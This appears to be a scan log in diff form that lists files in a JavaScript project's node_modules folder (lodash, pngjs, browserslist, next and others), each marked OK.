+/scan/node_modules/lodash/fp/defer.js: OK
+/scan/node_modules/lodash/fp/isArrayLikeObject.js: OK
+/scan/node_modules/lodash/fp/isBoolean.js: OK
+/scan/node_modules/lodash/fp/setWith.js: OK
+/scan/node_modules/lodash/fp/overArgs.js: OK
+/scan/node_modules/lodash/fp/head.js: OK
+/scan/node_modules/lodash/fp/pullAllWith.js: OK
+/scan/node_modules/lodash/fp/findLastKey.js: OK
+/scan/node_modules/lodash/fp/findLastIndexFrom.js: OK
+/scan/node_modules/lodash/fp/isMatch.js: OK
+/scan/node_modules/lodash/fp/noop.js: OK
+/scan/node_modules/lodash/fp/assign.js: OK
+/scan/node_modules/lodash/fp/pathOr.js: OK
+/scan/node_modules/lodash/fp/take.js: OK
+/scan/node_modules/lodash/fp/last.js: OK
+/scan/node_modules/lodash/fp/takeLastWhile.js: OK
+/scan/node_modules/lodash/fp/__.js: OK
+/scan/node_modules/lodash/fp/entriesIn.js: OK
+/scan/node_modules/lodash/fp/delay.js: OK
+/scan/node_modules/lodash/fp/isSymbol.js: OK
+/scan/node_modules/lodash/fp/rangeStep.js: OK
+/scan/node_modules/lodash/fp/isFinite.js: OK
+/scan/node_modules/lodash/fp/curry.js: OK
+/scan/node_modules/lodash/fp/xorWith.js: OK
+/scan/node_modules/lodash/fp/_util.js: OK
+/scan/node_modules/lodash/fp/isNative.js: OK
+/scan/node_modules/lodash/fp/eachRight.js: OK
+/scan/node_modules/lodash/fp/conformsTo.js: OK
+/scan/node_modules/lodash/fp/defaultsAll.js: OK
+/scan/node_modules/lodash/fp/toSafeInteger.js: OK
+/scan/node_modules/lodash/fp/defaultTo.js: OK
+/scan/node_modules/lodash/fp/sumBy.js: OK
+/scan/node_modules/lodash/_baseRest.js: OK
+/scan/node_modules/lodash/_setCacheAdd.js: OK
+/scan/node_modules/lodash/isMap.js: OK
+/scan/node_modules/lodash/isEmpty.js: OK
+/scan/node_modules/lodash/_countHolders.js: OK
+/scan/node_modules/lodash/each.js: OK
+/scan/node_modules/lodash/_unicodeSize.js: OK
+/scan/node_modules/lodash/isString.js: OK
+/scan/node_modules/lodash/_composeArgs.js: OK
+/scan/node_modules/lodash/_baseUnary.js: OK
+/scan/node_modules/lodash/update.js: OK
+/scan/node_modules/lodash/deburr.js: OK
+/scan/node_modules/lodash/_LodashWrapper.js: OK
+/scan/node_modules/lodash/isTypedArray.js: OK
+/scan/node_modules/lodash/bindKey.js: OK
+/scan/node_modules/lodash/extendWith.js: OK
+/scan/node_modules/lodash/functions.js: OK
+/scan/node_modules/lodash/_arrayEach.js: OK
+/scan/node_modules/lodash/_castPath.js: OK
+/scan/node_modules/lodash/omit.js: OK
+/scan/node_modules/lodash/_arrayReduceRight.js: OK
+/scan/node_modules/lodash/wrapperLodash.js: OK
+/scan/node_modules/lodash/attempt.js: OK
+/scan/node_modules/lodash/keysIn.js: OK
+/scan/node_modules/lodash/_Promise.js: OK
+/scan/node_modules/lodash/startCase.js: OK
+/scan/node_modules/lodash/_WeakMap.js: OK
+/scan/node_modules/lodash/_createCtor.js: OK
+/scan/node_modules/lodash/_baseGetAllKeys.js: OK
+/scan/node_modules/lodash/object.js: OK
+/scan/node_modules/lodash/bindAll.js: OK
+/scan/node_modules/lodash/difference.js: OK
+/scan/node_modules/lodash/_initCloneObject.js: OK
+/scan/node_modules/lodash/_setToPairs.js: OK
+/scan/node_modules/lodash/_cacheHas.js: OK
+/scan/node_modules/lodash/_compareMultiple.js: OK
+/scan/node_modules/lodash/_baseFindKey.js: OK
+/scan/node_modules/lodash/mixin.js: OK
+/scan/node_modules/lodash/templateSettings.js: OK
+/scan/node_modules/lodash/concat.js: OK
+/scan/node_modules/lodash/stubString.js: OK
+/scan/node_modules/lodash/_baseAssignIn.js: OK
+/scan/node_modules/lodash/property.js: OK
+/scan/node_modules/lodash/_arrayIncludes.js: OK
+/scan/node_modules/lodash/reduce.js: OK
+/scan/node_modules/lodash/_baseClone.js: OK
+/scan/node_modules/lodash/_baseGet.js: OK
+/scan/node_modules/lodash/findLastIndex.js: OK
+/scan/node_modules/lodash/toPairsIn.js: OK
+/scan/node_modules/lodash/_customDefaultsAssignIn.js: OK
+/scan/node_modules/lodash/invertBy.js: OK
+/scan/node_modules/lodash/isNaN.js: OK
+/scan/node_modules/lodash/_equalArrays.js: OK
+/scan/node_modules/lodash/index.js: OK
+/scan/node_modules/lodash/isSafeInteger.js: OK
+/scan/node_modules/lodash/_createPartial.js: OK
+/scan/node_modules/lodash/_reEvaluate.js: OK
+/scan/node_modules/lodash/create.js: OK
+/scan/node_modules/lodash/_baseKeys.js: OK
+/scan/node_modules/lodash/_baseInvoke.js: OK
+/scan/node_modules/lodash/_cloneTypedArray.js: OK
+/scan/node_modules/lodash/subtract.js: OK
+/scan/node_modules/lodash/slice.js: OK
+/scan/node_modules/lodash/overSome.js: OK
+/scan/node_modules/lodash/_memoizeCapped.js: OK
+/scan/node_modules/lodash/_stringToPath.js: OK
+/scan/node_modules/lodash/fill.js: OK
+/scan/node_modules/lodash/_mapToArray.js: OK
+/scan/node_modules/lodash/toIterator.js: OK
+/scan/node_modules/lodash/_baseTrim.js: OK
+/scan/node_modules/lodash/_baseOrderBy.js: OK
+/scan/node_modules/lodash/trimStart.js: OK
+/scan/node_modules/lodash/_arraySome.js: OK
+/scan/node_modules/lodash/_baseConformsTo.js: OK
+/scan/node_modules/lodash/_root.js: OK
+/scan/node_modules/lodash/flatten.js: OK
+/scan/node_modules/lodash/toPlainObject.js: OK
+/scan/node_modules/lodash/lodash.min.js: OK
+/scan/node_modules/lodash/add.js: OK
+/scan/node_modules/lodash/forOwnRight.js: OK
+/scan/node_modules/lodash/some.js: OK
+/scan/node_modules/lodash/_isStrictComparable.js: OK
+/scan/node_modules/lodash/isNil.js: OK
+/scan/node_modules/lodash/_baseSortBy.js: OK
+/scan/node_modules/lodash/sortedIndexOf.js: OK
+/scan/node_modules/lodash/_baseSortedIndexBy.js: OK
+/scan/node_modules/lodash/sortedIndexBy.js: OK
+/scan/node_modules/lodash/_stackDelete.js: OK
+/scan/node_modules/lodash/partition.js: OK
+/scan/node_modules/lodash/_isFlattenable.js: OK
+/scan/node_modules/lodash/castArray.js: OK
+/scan/node_modules/lodash/iteratee.js: OK
+/scan/node_modules/lodash/pull.js: OK
+/scan/node_modules/lodash/matchesProperty.js: OK
+/scan/node_modules/lodash/inRange.js: OK
+/scan/node_modules/lodash/_lazyReverse.js: OK
+/scan/node_modules/lodash/values.js: OK
+/scan/node_modules/lodash/_toKey.js: OK
+/scan/node_modules/lodash/_baseSortedUniq.js: OK
+/scan/node_modules/lodash/_baseAssignValue.js: OK
+/scan/node_modules/lodash/_baseSetToString.js: OK
+/scan/node_modules/lodash/startsWith.js: OK
+/scan/node_modules/lodash/_getHolder.js: OK
+/scan/node_modules/lodash/_baseToNumber.js: OK
+/scan/node_modules/lodash/set.js: OK
+/scan/node_modules/lodash/_asciiWords.js: OK
+/scan/node_modules/lodash/array.js: OK
+/scan/node_modules/lodash/_mapCacheSet.js: OK
+/scan/node_modules/lodash/_baseMean.js: OK
+/scan/node_modules/lodash/cloneDeepWith.js: OK
+/scan/node_modules/lodash/reject.js: OK
+/scan/node_modules/lodash/README.md: OK
+/scan/node_modules/lodash/_getMatchData.js: OK
+/scan/node_modules/lodash/lowerCase.js: OK
+/scan/node_modules/lodash/forEachRight.js: OK
+/scan/node_modules/lodash/wrap.js: OK
+/scan/node_modules/lodash/_baseUniq.js: OK
+/scan/node_modules/lodash/_baseMerge.js: OK
+/scan/node_modules/lodash/_createWrap.js: OK
+/scan/node_modules/lodash/_baseConforms.js: OK
+/scan/node_modules/lodash/findKey.js: OK
+/scan/node_modules/lodash/debounce.js: OK
+/scan/node_modules/lodash/_basePick.js: OK
+/scan/node_modules/lodash/_baseValues.js: OK
+/scan/node_modules/lodash/_createAssigner.js: OK
+/scan/node_modules/lodash/wrapperReverse.js: OK
+/scan/node_modules/lodash/_baseUnset.js: OK
+/scan/node_modules/lodash/intersection.js: OK
+/scan/node_modules/lodash/_hasUnicodeWord.js: OK
+/scan/node_modules/lodash/_baseFunctions.js: OK
+/scan/node_modules/lodash/uniqueId.js: OK
+/scan/node_modules/lodash/meanBy.js: OK
+/scan/node_modules/lodash/sortBy.js: OK
+/scan/node_modules/lodash/_getPrototype.js: OK
+/scan/node_modules/lodash/_cloneBuffer.js: OK
+/scan/node_modules/lodash/toFinite.js: OK
+/scan/node_modules/lodash/_baseReduce.js: OK
+/scan/node_modules/lodash/isFunction.js: OK
+/scan/node_modules/lodash/_copyObject.js: OK
+/scan/node_modules/lodash/sum.js: OK
+/scan/node_modules/lodash/_nativeCreate.js: OK
+/scan/node_modules/lodash/_baseForRight.js: OK
+/scan/node_modules/lodash/string.js: OK
+/scan/node_modules/lodash/partial.js: OK
+/scan/node_modules/lodash/_baseAggregator.js: OK
+/scan/node_modules/lodash/rangeRight.js: OK
+/scan/node_modules/lodash/stubObject.js: OK
+/scan/node_modules/lodash/_baseIsMap.js: OK
+/scan/node_modules/lodash/_baseInRange.js: OK
+/scan/node_modules/lodash/_Stack.js: OK
+/scan/node_modules/lodash/_createCaseFirst.js: OK
+/scan/node_modules/lodash/unary.js: OK
+/scan/node_modules/lodash/_createMathOperation.js: OK
+/scan/node_modules/lodash/_overArg.js: OK
+/scan/node_modules/lodash/_baseFlatten.js: OK
+/scan/node_modules/lodash/_setWrapToString.js: OK
+/scan/node_modules/lodash/orderBy.js: OK
+/scan/node_modules/lodash/_copyArray.js: OK
+/scan/node_modules/lodash/unionBy.js: OK
+/scan/node_modules/lodash/sortedIndex.js: OK
+/scan/node_modules/lodash/invert.js: OK
+/scan/node_modules/lodash/value.js: OK
+/scan/node_modules/lodash/package.json: OK
+/scan/node_modules/lodash/_mapCacheHas.js: OK
+/scan/node_modules/lodash/_baseCreate.js: OK
+/scan/node_modules/lodash/constant.js: OK
+/scan/node_modules/lodash/invoke.js: OK
+/scan/node_modules/lodash/invokeMap.js: OK
+/scan/node_modules/lodash/curryRight.js: OK
+/scan/node_modules/lodash/_baseZipObject.js: OK
+/scan/node_modules/lodash/flatMap.js: OK
+/scan/node_modules/lodash/isWeakMap.js: OK
+/scan/node_modules/lodash/math.js: OK
+/scan/node_modules/lodash/has.js: OK
+/scan/node_modules/lodash/fromPairs.js: OK
+/scan/node_modules/lodash/toJSON.js: OK
+/scan/node_modules/lodash/_objectToString.js: OK
+/scan/node_modules/lodash/_arrayPush.js: OK
+/scan/node_modules/lodash/_cloneArrayBuffer.js: OK
+/scan/node_modules/lodash/toLength.js: OK
+/scan/node_modules/lodash/seq.js: OK
+/scan/node_modules/lodash/propertyOf.js: OK
+/scan/node_modules/lodash/lowerFirst.js: OK
+/scan/node_modules/lodash/takeRightWhile.js: OK
+/scan/node_modules/lodash/_mapCacheDelete.js: OK
+/scan/node_modules/lodash/toPath.js: OK
+/scan/node_modules/lodash/capitalize.js: OK
+/scan/node_modules/lodash/_arrayEachRight.js: OK
+/scan/node_modules/lodash/replace.js: OK
+/scan/node_modules/lodash/_createBaseFor.js: OK
+/scan/node_modules/lodash/next.js: OK
+/scan/node_modules/lodash/_hasUnicode.js: OK
+/scan/node_modules/lodash/clone.js: OK
+/scan/node_modules/lodash/isArguments.js: OK
+/scan/node_modules/lodash/_nativeKeysIn.js: OK
+/scan/node_modules/lodash/indexOf.js: OK
+/scan/node_modules/lodash/_arrayMap.js: OK
+/scan/node_modules/lodash/_baseKeysIn.js: OK
+/scan/node_modules/lodash/_baseIsNaN.js: OK
+/scan/node_modules/lodash/_shortOut.js: OK
+/scan/node_modules/lodash/omitBy.js: OK
+/scan/node_modules/lodash/function.js: OK
+/scan/node_modules/lodash/_listCacheClear.js: OK
+/scan/node_modules/lodash/_arrayIncludesWith.js: OK
+/scan/node_modules/lodash/isObject.js: OK
+/scan/node_modules/lodash/union.js: OK
+/scan/node_modules/lodash/methodOf.js: OK
+/scan/node_modules/lodash/_getSymbols.js: OK
+/scan/node_modules/lodash/_baseMatches.js: OK
+/scan/node_modules/lodash/drop.js: OK
+/scan/node_modules/lodash/_baseUpdate.js: OK
+/scan/node_modules/lodash/_baseSlice.js: OK
+/scan/node_modules/lodash/_createHybrid.js: OK
+/scan/node_modules/lodash/_getAllKeys.js: OK
+/scan/node_modules/lodash/_mapCacheGet.js: OK
+/scan/node_modules/lodash/conforms.js: OK
+/scan/node_modules/lodash/_cloneRegExp.js: OK
+/scan/node_modules/lodash/_hashDelete.js: OK
+/scan/node_modules/lodash/get.js: OK
+/scan/node_modules/lodash/without.js: OK
+/scan/node_modules/lodash/nthArg.js: OK
+/scan/node_modules/lodash/throttle.js: OK
+/scan/node_modules/lodash/_nodeUtil.js: OK
+/scan/node_modules/lodash/stubArray.js: OK
+/scan/node_modules/lodash/toNumber.js: OK
+/scan/node_modules/lodash/_escapeHtmlChar.js: OK
+/scan/node_modules/lodash/identity.js: OK
+/scan/node_modules/lodash/_initCloneByTag.js: OK
+/scan/node_modules/lodash/date.js: OK
+/scan/node_modules/lodash/_baseMatchesProperty.js: OK
+/scan/node_modules/lodash/groupBy.js: OK
+/scan/node_modules/lodash/camelCase.js: OK
+/scan/node_modules/lodash/_arrayReduce.js: OK
+/scan/node_modules/lodash/_arrayLikeKeys.js: OK
+/scan/node_modules/lodash/_setCacheHas.js: OK
+/scan/node_modules/lodash/unescape.js: OK
+/scan/node_modules/lodash/over.js: OK
+/scan/node_modules/lodash/reduceRight.js: OK
+/scan/node_modules/lodash/_copySymbols.js: OK
+/scan/node_modules/lodash/_getFuncName.js: OK
+/scan/node_modules/lodash/unzipWith.js: OK
+/scan/node_modules/lodash/_createOver.js: OK
+/scan/node_modules/lodash/entries.js: OK
+/scan/node_modules/lodash/forInRight.js: OK
+/scan/node_modules/lodash/_freeGlobal.js: OK
+/scan/node_modules/lodash/pullAllBy.js: OK
+/scan/node_modules/lodash/cloneDeep.js: OK
+/scan/node_modules/lodash/isWeakSet.js: OK
+/scan/node_modules/lodash/forIn.js: OK
+/scan/node_modules/lodash/tap.js: OK
+/scan/node_modules/lodash/isNumber.js: OK
+/scan/node_modules/lodash/_baseMergeDeep.js: OK
+/scan/node_modules/lodash/split.js: OK
+/scan/node_modules/lodash/_listCacheDelete.js: OK
+/scan/node_modules/lodash/partialRight.js: OK
+/scan/node_modules/lodash/_parent.js: OK
+/scan/node_modules/lodash/_castSlice.js: OK
+/scan/node_modules/lodash/intersectionWith.js: OK
+/scan/node_modules/lodash/_apply.js: OK
+/scan/node_modules/lodash/first.js: OK
+/scan/node_modules/lodash/_deburrLetter.js: OK
+/scan/node_modules/lodash/_updateWrapDetails.js: OK
+/scan/node_modules/lodash/_getValue.js: OK
+/scan/node_modules/lodash/_createRelationalOperation.js: OK
+/scan/node_modules/lodash/repeat.js: OK
+/scan/node_modules/lodash/_reInterpolate.js: OK
+/scan/node_modules/lodash/_baseIsSet.js: OK
+/scan/node_modules/lodash/_baseIsNative.js: OK
+/scan/node_modules/lodash/zipObjectDeep.js: OK
+/scan/node_modules/lodash/_baseIsEqual.js: OK
+/scan/node_modules/lodash/_baseGt.js: OK
+/scan/node_modules/lodash/flatMapDepth.js: OK
+/scan/node_modules/lodash/_listCacheSet.js: OK
+/scan/node_modules/lodash/_Symbol.js: OK
+/scan/node_modules/lodash/_insertWrapDetails.js: OK
+/scan/node_modules/lodash/isMatchWith.js: OK
+/scan/node_modules/lodash/pullAll.js: OK
+/scan/node_modules/lodash/_castArrayLikeObject.js: OK
+/scan/node_modules/lodash/round.js: OK
+/scan/node_modules/lodash/_stackGet.js: OK
+/scan/node_modules/lodash/_setToString.js: OK
+/scan/node_modules/lodash/_asciiToArray.js: OK
+/scan/node_modules/lodash/_baseRange.js: OK
+/scan/node_modules/lodash/_assignValue.js: OK
+/scan/node_modules/lodash/_baseRandom.js: OK
+/scan/node_modules/lodash/endsWith.js: OK
+/scan/node_modules/lodash/overEvery.js: OK
+/scan/node_modules/lodash/result.js: OK
+/scan/node_modules/lodash/clamp.js: OK
+/scan/node_modules/lodash/zip.js: OK
+/scan/node_modules/lodash/isArray.js: OK
+/scan/node_modules/lodash/differenceBy.js: OK
+/scan/node_modules/lodash/_baseForOwnRight.js: OK
+/scan/node_modules/lodash/uniqWith.js: OK
+/scan/node_modules/lodash/_listCacheHas.js: OK
+/scan/node_modules/lodash/wrapperChain.js: OK
+/scan/node_modules/lodash/zipWith.js: OK
+/scan/node_modules/lodash/pick.js: OK
+/scan/node_modules/lodash/initial.js: OK
+/scan/node_modules/lodash/once.js: OK
+/scan/node_modules/lodash/sortedUniqBy.js: OK
+/scan/node_modules/lodash/isLength.js: OK
+/scan/node_modules/lodash/pad.js: OK
+/scan/node_modules/lodash/takeRight.js: OK
+/scan/node_modules/lodash/dropRight.js: OK
+/scan/node_modules/lodash/escapeRegExp.js: OK
+/scan/node_modules/lodash/dropRightWhile.js: OK
+/scan/node_modules/lodash/snakeCase.js: OK
+/scan/node_modules/lodash/toUpper.js: OK
+/scan/node_modules/lodash/forEach.js: OK
+/scan/node_modules/lodash/cond.js: OK
+/scan/node_modules/lodash/shuffle.js: OK
+/scan/node_modules/lodash/_hashGet.js: OK
+/scan/node_modules/lodash/_assocIndexOf.js: OK
+/scan/node_modules/lodash/uniq.js: OK
+/scan/node_modules/lodash/_nativeKeys.js: OK
+/scan/node_modules/lodash/_baseForOwn.js: OK
+/scan/node_modules/lodash/_asciiSize.js: OK
+/scan/node_modules/lodash/toPairs.js: OK
+/scan/node_modules/lodash/mean.js: OK
+/scan/node_modules/lodash/lt.js: OK
+/scan/node_modules/lodash/_charsEndIndex.js: OK
+/scan/node_modules/lodash/_wrapperClone.js: OK
+/scan/node_modules/lodash/sampleSize.js: OK
+/scan/node_modules/lodash/isArrayLike.js: OK
+/scan/node_modules/lodash/min.js: OK
+/scan/node_modules/lodash/map.js: OK
+/scan/node_modules/lodash/_createBind.js: OK
+/scan/node_modules/lodash/sortedLastIndexOf.js: OK
+/scan/node_modules/lodash/sortedLastIndexBy.js: OK
+/scan/node_modules/lodash/_replaceHolders.js: OK
+/scan/node_modules/lodash/bind.js: OK
+/scan/node_modules/lodash/_stackHas.js: OK
+/scan/node_modules/lodash/_basePickBy.js: OK
+/scan/node_modules/lodash/flip.js: OK
+/scan/node_modules/lodash/upperCase.js: OK
+/scan/node_modules/lodash/_baseIntersection.js: OK
+/scan/node_modules/lodash/filter.js: OK
+/scan/node_modules/lodash/_createFind.js: OK
+/scan/node_modules/lodash/_getMapData.js: OK
+/scan/node_modules/lodash/_flatRest.js: OK
+/scan/node_modules/lodash/_getTag.js: OK
+/scan/node_modules/lodash/find.js: OK
+/scan/node_modules/lodash/lodash.js: OK
+/scan/node_modules/lodash/isDate.js: OK
+/scan/node_modules/lodash/_createRange.js: OK
+/scan/node_modules/lodash/padStart.js: OK
+/scan/node_modules/lodash/defaults.js: OK
+/scan/node_modules/lodash/defaultsDeep.js: OK
+/scan/node_modules/lodash/_baseTimes.js: OK
+/scan/node_modules/lodash/_arrayAggregator.js: OK
+/scan/node_modules/lodash/_shuffleSelf.js: OK
+/scan/node_modules/lodash/isPlainObject.js: OK
+/scan/node_modules/lodash/_baseNth.js: OK
+/scan/node_modules/lodash/_baseEvery.js: OK
+/scan/node_modules/lodash/sample.js: OK
+/scan/node_modules/lodash/_hashSet.js: OK
+/scan/node_modules/lodash/_baseAt.js: OK
+/scan/node_modules/lodash/_customOmitClone.js: OK
+/scan/node_modules/lodash/_getWrapDetails.js: OK
+/scan/node_modules/lodash/_baseGetTag.js: OK
+/scan/node_modules/lodash/mergeWith.js: OK
+/scan/node_modules/lodash/xor.js: OK
+/scan/node_modules/lodash/_createRecurry.js: OK
+/scan/node_modules/lodash/template.js: OK
+/scan/node_modules/lodash/_baseHasIn.js: OK
+/scan/node_modules/lodash/countBy.js: OK
+/scan/node_modules/lodash/method.js: OK
+/scan/node_modules/lodash/spread.js: OK
+/scan/node_modules/lodash/_compareAscending.js: OK
+/scan/node_modules/lodash/stubTrue.js: OK
+/scan/node_modules/lodash/_charsStartIndex.js: OK
+/scan/node_modules/lodash/collection.js: OK
+/scan/node_modules/lodash/_customDefaultsMerge.js: OK
+/scan/node_modules/lodash/words.js: OK
+/scan/node_modules/lodash/flattenDeep.js: OK
+/scan/node_modules/lodash/_baseDifference.js: OK
+/scan/node_modules/lodash/stubFalse.js: OK
+/scan/node_modules/lodash/_castRest.js: OK
+/scan/node_modules/lodash/transform.js: OK
+/scan/node_modules/lodash/_setToArray.js: OK
+/scan/node_modules/lodash/isElement.js: OK
+/scan/node_modules/lodash/differenceWith.js: OK
+/scan/node_modules/lodash/sortedUniq.js: OK
+/scan/node_modules/lodash/defer.js: OK
+/scan/node_modules/lodash/isArrayLikeObject.js: OK
+/scan/node_modules/lodash/isBoolean.js: OK
+/scan/node_modules/lodash/setWith.js: OK
+/scan/node_modules/lodash/overArgs.js: OK
+/scan/node_modules/lodash/head.js: OK
+/scan/node_modules/lodash/pullAllWith.js: OK
+/scan/node_modules/lodash/findLastKey.js: OK
+/scan/node_modules/lodash/_isKey.js: OK
+/scan/node_modules/lodash/isMatch.js: OK
+/scan/node_modules/lodash/_baseFindIndex.js: OK
+/scan/node_modules/lodash/noop.js: OK
+/scan/node_modules/lodash/_baseSetData.js: OK
+/scan/node_modules/lodash/_hashHas.js: OK
+/scan/node_modules/lodash/assign.js: OK
+/scan/node_modules/lodash/take.js: OK
+/scan/node_modules/lodash/last.js: OK
+/scan/node_modules/lodash/_listCacheGet.js: OK
+/scan/node_modules/lodash/_reEscape.js: OK
+/scan/node_modules/lodash/entriesIn.js: OK
+/scan/node_modules/lodash/delay.js: OK
+/scan/node_modules/lodash/isSymbol.js: OK
+/scan/node_modules/lodash/_stringToArray.js: OK
+/scan/node_modules/lodash/isFinite.js: OK
+/scan/node_modules/lodash/curry.js: OK
+/scan/node_modules/lodash/xorWith.js: OK
+/scan/node_modules/lodash/_hasPath.js: OK
+/scan/node_modules/lodash/isNative.js: OK
+/scan/node_modules/lodash/eachRight.js: OK
+/scan/node_modules/lodash/conformsTo.js: OK
+/scan/node_modules/lodash/_reorder.js: OK
+/scan/node_modules/lodash/_basePullAt.js: OK
+/scan/node_modules/lodash/_stackSet.js: OK
+/scan/node_modules/lodash/toSafeInteger.js: OK
+/scan/node_modules/lodash/_metaMap.js: OK
+/scan/node_modules/lodash/defaultTo.js: OK
+/scan/node_modules/lodash/sumBy.js: OK
+/scan/node_modules/lodash/_createCompounder.js: OK
+/scan/node_modules/diff-sequences/LICENSE: OK
+/scan/node_modules/diff-sequences/README.md: OK
+/scan/node_modules/diff-sequences/package.json: OK
+/scan/node_modules/diff-sequences/build/index.js: OK
+/scan/node_modules/diff-sequences/build/index.d.ts: OK
+/scan/node_modules/browserslist/error.d.ts: OK
+/scan/node_modules/browserslist/LICENSE: OK
+/scan/node_modules/browserslist/index.js: OK
+/scan/node_modules/browserslist/error.js: OK
+/scan/node_modules/browserslist/README.md: OK
+/scan/node_modules/browserslist/node.js: OK
+/scan/node_modules/browserslist/parse.js: OK
+/scan/node_modules/browserslist/package.json: OK
+/scan/node_modules/browserslist/cli.js: OK
+/scan/node_modules/browserslist/index.d.ts: OK
+/scan/node_modules/browserslist/browser.js: OK
+/scan/node_modules/on-headers/LICENSE: OK
+/scan/node_modules/on-headers/HISTORY.md: OK
+/scan/node_modules/on-headers/index.js: OK
+/scan/node_modules/on-headers/README.md: OK
+/scan/node_modules/on-headers/package.json: OK
+/scan/node_modules/process-nextick-args/license.md: OK
+/scan/node_modules/process-nextick-args/index.js: OK
+/scan/node_modules/process-nextick-args/readme.md: OK
+/scan/node_modules/process-nextick-args/package.json: OK
+/scan/node_modules/shebang-regex/license: OK
+/scan/node_modules/shebang-regex/index.js: OK
+/scan/node_modules/shebang-regex/readme.md: OK
+/scan/node_modules/shebang-regex/package.json: OK
+/scan/node_modules/shebang-regex/index.d.ts: OK
+/scan/node_modules/thenify/LICENSE: OK
+/scan/node_modules/thenify/History.md: OK
+/scan/node_modules/thenify/index.js: OK
+/scan/node_modules/thenify/README.md: OK
+/scan/node_modules/thenify/package.json: OK
+/scan/node_modules/v8-compile-cache-lib/v8-compile-cache.js: OK
+/scan/node_modules/v8-compile-cache-lib/v8-compile-cache.d.ts: OK
+/scan/node_modules/v8-compile-cache-lib/LICENSE: OK
+/scan/node_modules/v8-compile-cache-lib/CHANGELOG.md: OK
+/scan/node_modules/v8-compile-cache-lib/README.md: OK
+/scan/node_modules/v8-compile-cache-lib/package.json: OK
+/scan/node_modules/jwa/LICENSE: OK
+/scan/node_modules/jwa/opslevel.yml: OK
+/scan/node_modules/jwa/index.js: OK
+/scan/node_modules/jwa/README.md: OK
+/scan/node_modules/jwa/package.json: OK
+/scan/node_modules/path-is-absolute/license: OK
+/scan/node_modules/path-is-absolute/index.js: OK
+/scan/node_modules/path-is-absolute/readme.md: OK
+/scan/node_modules/path-is-absolute/package.json: OK
+/scan/node_modules/pngjs/LICENSE: OK
+/scan/node_modules/pngjs/.prettierignore: OK
+/scan/node_modules/pngjs/README.md: OK
+/scan/node_modules/pngjs/package.json: OK
+/scan/node_modules/pngjs/lib/constants.js: OK
+/scan/node_modules/pngjs/lib/bitpacker.js: OK
+/scan/node_modules/pngjs/lib/paeth-predictor.js: OK
+/scan/node_modules/pngjs/lib/format-normaliser.js: OK
+/scan/node_modules/pngjs/lib/packer.js: OK
+/scan/node_modules/pngjs/lib/filter-parse-sync.js: OK
+/scan/node_modules/pngjs/lib/parser-sync.js: OK
+/scan/node_modules/pngjs/lib/bitmapper.js: OK
+/scan/node_modules/pngjs/lib/crc.js: OK
+/scan/node_modules/pngjs/lib/filter-pack.js: OK
+/scan/node_modules/pngjs/lib/sync-reader.js: OK
+/scan/node_modules/pngjs/lib/packer-sync.js: OK
+/scan/node_modules/pngjs/lib/filter-parse-async.js: OK
+/scan/node_modules/pngjs/lib/sync-inflate.js: OK
+/scan/node_modules/pngjs/lib/png-sync.js: OK
+/scan/node_modules/pngjs/lib/chunkstream.js: OK
+/scan/node_modules/pngjs/lib/filter-parse.js: OK
+/scan/node_modules/pngjs/lib/parser-async.js: OK
+/scan/node_modules/pngjs/lib/png.js: OK
+/scan/node_modules/pngjs/lib/interlace.js: OK
+/scan/node_modules/pngjs/lib/parser.js: OK
+/scan/node_modules/pngjs/lib/packer-async.js: OK
+/scan/node_modules/pngjs/.eslintignore: OK
+/scan/node_modules/pngjs/browser.js: OK
+/scan/node_modules/pngjs/coverage/lcov.info: OK
+/scan/node_modules/pngjs/coverage/lcov-report/parser-sync.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/chunkstream.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/format-normaliser.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/packer.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/packer-sync.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/index.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/block-navigation.js: OK
+/scan/node_modules/pngjs/coverage/lcov-report/filter-pack.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/png-sync.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/sync-reader.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/filter-parse-async.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/sync-inflate.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/filter-parse.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/interlace.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/filter-parse-sync.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/parser.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/parser-async.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/prettify.js: OK
+/scan/node_modules/pngjs/coverage/lcov-report/favicon.png: OK
+/scan/node_modules/pngjs/coverage/lcov-report/paeth-predictor.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/prettify.css: OK
+/scan/node_modules/pngjs/coverage/lcov-report/bitpacker.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/constants.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/bitmapper.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/crc.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/sorter.js: OK
+/scan/node_modules/pngjs/coverage/lcov-report/packer-async.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/png.js.html: OK
+/scan/node_modules/pngjs/coverage/lcov-report/base.css: OK
+/scan/node_modules/pngjs/coverage/lcov-report/sort-arrow-sprite.png: OK
+/scan/node_modules/pngjs/.eslintrc.json: OK
+/scan/node_modules/asap/browser-raw.js: OK
+/scan/node_modules/asap/LICENSE.md: OK
+/scan/node_modules/asap/asap.js: OK
+/scan/node_modules/asap/browser-asap.js: OK
+/scan/node_modules/asap/raw.js: OK
+/scan/node_modules/asap/README.md: OK
+/scan/node_modules/asap/package.json: OK
+/scan/node_modules/asap/CHANGES.md: OK
+/scan/node_modules/next/constants.js: OK
+/scan/node_modules/next/navigation.d.ts: OK
+/scan/node_modules/next/constants.d.ts: OK
+/scan/node_modules/next/og.d.ts: OK
+/scan/node_modules/next/client.js: OK
+/scan/node_modules/next/license.md: OK
+/scan/node_modules/next/experimental/testmode/proxy.js: OK
+/scan/node_modules/next/experimental/testmode/proxy.d.ts: OK
+/scan/node_modules/next/experimental/testmode/playwright/msw.d.ts: OK
+/scan/node_modules/next/experimental/testmode/playwright/msw.js: OK
+/scan/node_modules/next/experimental/testmode/playwright.js: OK
